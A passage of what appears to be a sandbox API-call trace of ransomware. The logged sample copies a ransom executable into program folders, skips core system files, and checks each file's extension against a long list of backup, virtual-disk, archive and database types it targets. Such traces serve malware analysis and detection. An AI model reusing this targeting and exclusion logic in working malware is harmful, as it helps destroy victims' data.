(lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0092.233] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0092.233] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="windows") returned -1 [0092.233] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="bootmgr") returned 1 [0092.233] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="temp") returned -1 [0092.233] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="pagefile.sys") returned 1 [0092.234] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="boot") returned 1 [0092.234] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="ids.txt") returned 1 [0092.234] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="ntuser.dat") returned 1 [0092.234] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="perflogs") returned 1 [0092.234] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="MSBuild") returned 1 [0092.234] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0092.234] lstrcpyW (in: lpString1=0x241e89a, lpString2="SlideShow.Gadget" | out: lpString1="SlideShow.Gadget") returned="SlideShow.Gadget" [0092.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c3c8 [0092.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x502e28 [0092.234] lstrcatW (in: lpString1="SlideShow.Gadget", lpString2="\\" | out: lpString1="SlideShow.Gadget\\") returned="SlideShow.Gadget\\" [0092.234] lstrcatW (in: lpString1="SlideShow.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe") returned="SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.234] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.240] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="windows") returned -1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="bootmgr") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="temp") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="pagefile.sys") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="boot") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="ids.txt") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="ntuser.dat") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="perflogs") returned 1 [0092.240] lstrcmpiW (lpString1="Weather.Gadget", lpString2="MSBuild") returned 1 [0092.240] lstrlenW (lpString="Weather.Gadget") returned 14 [0092.240] lstrcpyW (in: lpString1=0x241e89a, lpString2="Weather.Gadget" | out: lpString1="Weather.Gadget") returned="Weather.Gadget" [0092.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b828 [0092.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52d228 [0092.241] lstrcatW (in: lpString1="Weather.Gadget", lpString2="\\" | out: lpString1="Weather.Gadget\\") returned="Weather.Gadget\\" [0092.241] lstrcatW (in: lpString1="Weather.Gadget\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Weather.Gadget\\HOW TO BACK YOUR FILES.exe") returned="Weather.Gadget\\HOW TO BACK YOUR FILES.exe" [0092.241] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.245] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 0 [0092.245] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.245] ReleaseMutex (hMutex=0xec) returned 1 [0092.245] CloseHandle (hObject=0xec) returned 1 [0092.245] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" [0092.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51bb50 | out: hHeap=0x4f0000) returned 1 [0092.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f838 | out: hHeap=0x4f0000) returned 1 [0092.245] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned 47 [0092.245] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A94F0B6BC7582CC91EBA78BCAF8EDC6F") returned 0xec [0092.246] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.246] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" [0092.246] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.246] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\shared gadgets\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.246] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\shared gadgets\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.246] GetLastError () returned 0x0 [0092.246] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.246] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.247] CloseHandle (hObject=0xf4) returned 1 [0092.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.247] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0993f40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0993f40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.248] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.248] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.248] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.248] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc0993f40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0993f40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.248] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.248] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.248] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.248] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.248] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0993f40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0993f40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.248] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.248] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0993f40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0993f40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0092.248] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.248] ReleaseMutex (hMutex=0xec) returned 1 [0092.248] CloseHandle (hObject=0xec) returned 1 [0092.248] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0092.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529310 | out: hHeap=0x4f0000) returned 1 [0092.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509038 | out: hHeap=0x4f0000) returned 1 [0092.248] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned 40 [0092.248] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F85A1045837874BC282A780BB35B0B9B") returned 0xec [0092.248] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.249] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0092.249] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.249] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.249] GetLastError () returned 0x0 [0092.249] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.249] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.250] CloseHandle (hObject=0xf4) returned 1 [0092.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.250] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.250] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc0b83120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0b83120, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.250] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.250] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.251] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.251] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc0b83120, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0b83120, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.253] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.253] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.253] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.253] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.253] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0092.253] lstrcmpiW (lpString1="Benioku.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.253] lstrcmpiW (lpString1="Benioku.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.253] lstrcmpiW (lpString1="Benioku.htm", lpString2=".") returned 1 [0092.253] lstrcmpiW (lpString1="Benioku.htm", lpString2="..") returned 1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="windows") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="bootmgr") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="temp") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="pagefile.sys") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="boot") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="ids.txt") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="ntuser.dat") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="perflogs") returned -1 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2="MSBuild") returned -1 [0092.254] lstrlenW (lpString="Benioku.htm") returned 11 [0092.254] lstrcpyW (in: lpString1=0x241e89a, lpString2="Benioku.htm" | out: lpString1="Benioku.htm") returned="Benioku.htm" [0092.254] lstrlenW (lpString="Benioku.htm") returned 11 [0092.254] lstrlenW (lpString="Athena865") returned 9 [0092.254] lstrcmpiW (lpString1="nioku.htm", lpString2="Athena865") returned 1 [0092.254] lstrlenW (lpString=".dll") returned 4 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2=".dll") returned 1 [0092.254] lstrlenW (lpString=".lnk") returned 4 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2=".lnk") returned 1 [0092.254] lstrlenW (lpString=".ini") returned 4 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2=".ini") returned 1 [0092.254] lstrlenW (lpString=".sys") returned 4 [0092.254] lstrcmpiW (lpString1="Benioku.htm", lpString2=".sys") returned 1 [0092.254] lstrlenW (lpString="Benioku.htm") returned 11 [0092.254] lstrlenW (lpString="bak") returned 3 [0092.254] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.254] lstrlenW (lpString="ba_") returned 3 [0092.254] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.254] lstrlenW (lpString="dbb") returned 3 [0092.254] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.254] lstrlenW (lpString="vmdk") returned 4 [0092.255] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.255] lstrlenW (lpString="rar") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.255] lstrlenW (lpString="zip") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.255] lstrlenW (lpString="tgz") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.255] lstrlenW (lpString="vbox") returned 4 [0092.255] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.255] lstrlenW (lpString="vdi") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.255] lstrlenW (lpString="vhd") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.255] lstrlenW (lpString="vhdx") returned 4 [0092.255] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.255] lstrlenW (lpString="avhd") returned 4 [0092.255] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.255] lstrlenW (lpString="db") returned 2 [0092.255] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.255] lstrlenW (lpString="db2") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.255] lstrlenW (lpString="db3") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.255] lstrlenW (lpString="dbf") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.255] lstrlenW (lpString="mdf") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.255] lstrlenW (lpString="mdb") returned 3 [0092.255] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.255] lstrlenW (lpString="sql") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.256] lstrlenW (lpString="sqlite") returned 6 [0092.256] lstrcmpiW (lpString1="ku.htm", lpString2="sqlite") returned -1 [0092.256] lstrlenW (lpString="sqlite3") returned 7 [0092.256] lstrcmpiW (lpString1="oku.htm", lpString2="sqlite3") returned -1 [0092.256] lstrlenW (lpString="sqlitedb") returned 8 [0092.256] lstrcmpiW (lpString1="ioku.htm", lpString2="sqlitedb") returned -1 [0092.256] lstrlenW (lpString="xml") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.256] lstrlenW (lpString="$er") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.256] lstrlenW (lpString="4dd") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.256] lstrlenW (lpString="4dl") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.256] lstrlenW (lpString="^^^") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.256] lstrlenW (lpString="abs") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.256] lstrlenW (lpString="abx") returned 3 [0092.256] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.256] lstrlenW (lpString="accdb") returned 5 [0092.256] lstrcmpiW (lpString1="u.htm", lpString2="accdb") returned 1 [0092.256] lstrlenW (lpString="accdc") returned 5 [0092.256] lstrcmpiW (lpString1="u.htm", lpString2="accdc") returned 1 [0092.256] lstrlenW (lpString="accde") returned 5 [0092.256] lstrcmpiW (lpString1="u.htm", lpString2="accde") returned 1 [0092.256] lstrlenW (lpString="accdr") returned 5 [0092.256] lstrcmpiW (lpString1="u.htm", lpString2="accdr") returned 1 [0092.256] lstrlenW (lpString="accdt") returned 5 [0092.256] lstrcmpiW (lpString1="u.htm", lpString2="accdt") returned 1 [0092.257] lstrlenW (lpString="accdw") returned 5 [0092.257] lstrcmpiW (lpString1="u.htm", lpString2="accdw") returned 1 [0092.257] lstrlenW (lpString="accft") returned 5 [0092.257] lstrcmpiW (lpString1="u.htm", lpString2="accft") returned 1 [0092.257] lstrlenW (lpString="adb") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.257] lstrlenW (lpString="adb") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.257] lstrlenW (lpString="ade") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.257] lstrlenW (lpString="adf") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.257] lstrlenW (lpString="adn") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.257] lstrlenW (lpString="adp") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.257] lstrlenW (lpString="alf") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.257] lstrlenW (lpString="ask") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.257] lstrlenW (lpString="btr") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.257] lstrlenW (lpString="cat") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.257] lstrlenW (lpString="cdb") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.257] lstrlenW (lpString="ckp") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.257] lstrlenW (lpString="cma") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.257] lstrlenW (lpString="cpd") returned 3 [0092.257] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.257] lstrlenW (lpString="dacpac") returned 6 [0092.258] lstrcmpiW (lpString1="ku.htm", lpString2="dacpac") returned 1 [0092.258] lstrlenW (lpString="dad") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.258] lstrlenW (lpString="dadiagrams") returned 10 [0092.258] lstrcmpiW (lpString1="enioku.htm", lpString2="dadiagrams") returned 1 [0092.258] lstrlenW (lpString="daschema") returned 8 [0092.258] lstrcmpiW (lpString1="ioku.htm", lpString2="daschema") returned 1 [0092.258] lstrlenW (lpString="db-journal") returned 10 [0092.258] lstrcmpiW (lpString1="enioku.htm", lpString2="db-journal") returned 1 [0092.258] lstrlenW (lpString="db-shm") returned 6 [0092.258] lstrcmpiW (lpString1="ku.htm", lpString2="db-shm") returned 1 [0092.258] lstrlenW (lpString="db-wal") returned 6 [0092.258] lstrcmpiW (lpString1="ku.htm", lpString2="db-wal") returned 1 [0092.258] lstrlenW (lpString="dbc") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.258] lstrlenW (lpString="dbs") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.258] lstrlenW (lpString="dbt") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.258] lstrlenW (lpString="dbv") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.258] lstrlenW (lpString="dbx") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.258] lstrlenW (lpString="dcb") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.258] lstrlenW (lpString="dct") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.258] lstrlenW (lpString="dcx") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.258] lstrlenW (lpString="ddl") returned 3 [0092.258] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.259] lstrlenW (lpString="dlis") returned 4 [0092.259] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.259] lstrlenW (lpString="dp1") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.259] lstrlenW (lpString="dqy") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.259] lstrlenW (lpString="dsk") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.259] lstrlenW (lpString="dsn") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.259] lstrlenW (lpString="dtsx") returned 4 [0092.259] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0092.259] lstrlenW (lpString="dxl") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.259] lstrlenW (lpString="eco") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.259] lstrlenW (lpString="ecx") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.259] lstrlenW (lpString="edb") returned 3 [0092.259] lstrcmpiW 